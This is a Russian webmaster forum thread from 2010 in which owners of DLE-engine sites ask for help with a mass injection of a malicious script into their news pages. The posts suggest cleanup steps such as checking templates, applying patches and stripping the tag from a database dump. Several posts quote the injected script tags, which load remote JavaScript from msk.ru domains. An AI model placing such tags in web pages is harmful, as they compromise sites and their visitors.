X   Сообщение сайта
(Сообщение закроется через 3 секунды)



 

Здравствуйте, гость ( Вход | Регистрация )

21 страниц V   1 2 3 4 5 6 7 8 9 10 11 > » 
Открыть тему
Тема закрыта
> Помогите есть проблема с DLE движком
Barezzz
Barezzz
Topic Starter сообщение 26.9.2010, 5:23; Ответить: Barezzz
Сообщение #1


Бывалый
****

Группа: User
Сообщений: 261
Регистрация: 4.2.2008
Из: Moscow
Поблагодарили: 88 раз
Репутация:   14  


Помогите есть проблема с DLE движком:

Сегодня зашёл в админ панел, чтоб обновить 1 новость и заметил кто и как то добавил какои скрипт:

(<script src="http://tvoyatajna.msk.ru/injs.9660ae776bf86ffbb32adff5857c92cf/" type="text/javascript"></script>)

Я так понимаю этот вирус какои то или ещё что то, помогите убрать он на всех страницах, на все новостях, короче везде


*** Пасы все сменил уже

Сообщение отредактировал Barezzz - 26.9.2010, 5:24


--------------------
0
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
Gashish
Gashish
сообщение 26.9.2010, 5:30; Ответить: Gashish
Сообщение #2


Старожил
******

Группа: Active User
Сообщений: 1041
Регистрация: 26.11.2008
Из: Дальний Восток
Поблагодарили: 156 раз
Репутация:   50  


Проверьте все файлы шаблона на нахождение этого скрипта, или хотя-бы домена.


--------------------


Поблагодарили: (1)
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
Barezzz
Barezzz
Topic Starter сообщение 26.9.2010, 6:57; Ответить: Barezzz
Сообщение #3


Бывалый
****

Группа: User
Сообщений: 261
Регистрация: 4.2.2008
Из: Moscow
Поблагодарили: 88 раз
Репутация:   14  


Да уже наверно всё облазил почистил где был, всё равно во всех новостях есть он

Сделал откат сайта, но думаю что сейчас многие попадутся на этот трюк поэтому всё таки пару умных советов не помешает!!!

Не у всех думаю есть Backups на каждый день smile.gif


--------------------
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
Elektromaster
Elektromaster
сообщение 26.9.2010, 7:51; Ответить: Elektromaster
Сообщение #4


ESCALADE User
*****

Группа: Active User
Сообщений: 661
Регистрация: 28.10.2007
Из: Lietuva
Поблагодарили: 230 раз
Репутация:   45  


Покажите Ваш сайт, можно в личку.
Всё не нужно в личку - увидел в подписи...

Сообщение отредактировал Elektromaster - 26.9.2010, 7:55
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
Bra1n
Bra1n
сообщение 26.9.2010, 7:55; Ответить: Bra1n
Сообщение #5


Мозговой штурм
******

Группа: Active User
Сообщений: 1089
Регистрация: 24.5.2008
Из: Челябинской обл
Поблагодарили: 214 раз
Репутация:   42  


сначала удостоверьтесь где скрипт - а именно смените шаблон на новый, потом проверьте код - если нету ссылки значит переройте все файлы шаблона... если код остался сделайте поиск файловым менеджером по файлам с этим кодом по всему движку.


--------------------
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
whaler
whaler
сообщение 26.9.2010, 15:08; Ответить: whaler
Сообщение #6


Новичок
*

Группа: Viewer
Сообщений: 13
Регистрация: 26.9.2010
Поблагодарили: 0 раз
Репутация:   0  


Точно такая же проблема около 2 дней. Удивился, когда вчера набирал в поисковиках адрес этого домена, не было результатов.
У меня в каждой новости в конце такой код:
<script src="http://tvoyatajna.msk.ru/injs.78513ac79ace1f59ad926bd2a4249f33/" type="text/javascript"></script>

Пробовал менять шаблон на стандартный, код остается. Адрес сайта: http://320rap.ru/
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
PahA
PahA
сообщение 26.9.2010, 16:45; Ответить: PahA
Сообщение #7


Бывалый
****

Группа: User
Сообщений: 397
Регистрация: 12.6.2008
Поблагодарили: 48 раз
Репутация:   6  


Аналогично, что кака-то новая уязвимость в дле? У вас какая версия стоит?


--------------------
Не нашел счастья в Яндексе? Ищи в Google! ;)
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
install
install
сообщение 26.9.2010, 16:52; Ответить: install
Сообщение #8


Яндекс ЛОХ
*******


Группа: Active User
Сообщений: 3530
Регистрация: 28.5.2009
Из: Нижневартовска
Поблагодарили: 1376 раз
Репутация:   201  


В последние дни это массовая проблема
замечена на ДЛЕ 8.3 - 8.5
версии нулленые или с генирированным кодом
шаблон не поможет если его поменять, там во ВСЕХ новостях

у меня на лицензиях такой херни не замечено.

Сообщение отредактировал install - 26.9.2010, 16:57


--------------------
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
riut81
riut81
сообщение 26.9.2010, 17:02; Ответить: riut81
Сообщение #9


Бывалый
****


Группа: User
Сообщений: 370
Регистрация: 29.5.2009
Из: Тюмень
Поблагодарили: 26 раз
Репутация:   4  


напишете 910013семь
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
Bravo
Bravo
сообщение 26.9.2010, 17:34; Ответить: Bravo
Сообщение #10


Новичок
*

Группа: Viewer
Сообщений: 5
Регистрация: 26.9.2010
Поблагодарили: 2 раза
Репутация:   0  


Сегодня тоже увидел это censored.gif от сцу*и smile.gif

решение выключаем сайт.

заходим и делаем все исправления http://dle-news.ru/bags/

Затем сливаем базу и открываем файл sql каким-нибудь блокнотом ли notepad++

Открываем заменить в найти пишем:
<script src="http://tvoyatajna.msk.ru/injs.system/" type="text/javascript"></script><script src="http://tvoyatajna.msk.ru/injs.c60fea8e758e68e6f7cc8429240913f9/" type="text/javascript"></script>

заменить на "оставляем пустым"
жмем заменить всё

Если все правильно, то должно вылезти сообщения типа заменил много значений smile.gif ещё раз проверяем.

Заливаем базу обратно и радуемся.

Нет не радуемся, появились новые варианты.

<script src="http://yourpic.msk.ru/in.a4c9a7bd0afe75472da08093f3da9bddfuckb3a0d2f20865ac5c1dbed9d8147d56ee/" type="text/javascript"></script>




По ходу это уязвимость...новая, главное у меня админка расположена по неизвестному адресу, значит не взлом через админа.

Попробую ещё изменить пароли базы данных.


Поблагодарили: (2)
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
21 страниц V   1 2 3 4 5 6 7 8 9 10 11 > » 
Открыть тему
Тема закрыта
1 чел. читают эту тему (гостей: 1, скрытых пользователей: 0)
Пользователей: 0


Свернуть

> Похожие темы

  Тема Ответов Автор Просмотров Последний ответ
Открытая тема (нет новых ответов) Помогите разобраться с Android TV
0 MakDonald 30 Сегодня, 20:26
автор: MakDonald
Открытая тема (нет новых ответов) Помогите выбрать ноутбук
Ноутбук для детей
23 kstnews 462 Сегодня, 16:14
автор: kstnews
Горячая тема (нет новых ответов) Тема имеет прикрепленные файлыЕсть ли среди нас Линуксоиды
51 freeax 2346 Вчера, 12:53
автор: Cunningfox
Горячая тема (нет новых ответов) Услуги по CMS Wordpress, DLE, Joomla!. Правки, ремонт, настройка.
Редактирование и правки. Низкие цены.
143 contex1 65268 Вчера, 9:07
автор: contex1
Горячая тема (нет новых ответов) Регистрация Вашего сайта (профиля,DLE сайты,подписи на форумах,постинг Тиц 10> , ПР 1>)
278 kaartes 102977 14.12.2017, 10:55
автор: kukla


 



RSS Текстовая версия Сейчас: 18.12.2017, 20:45
Дизайн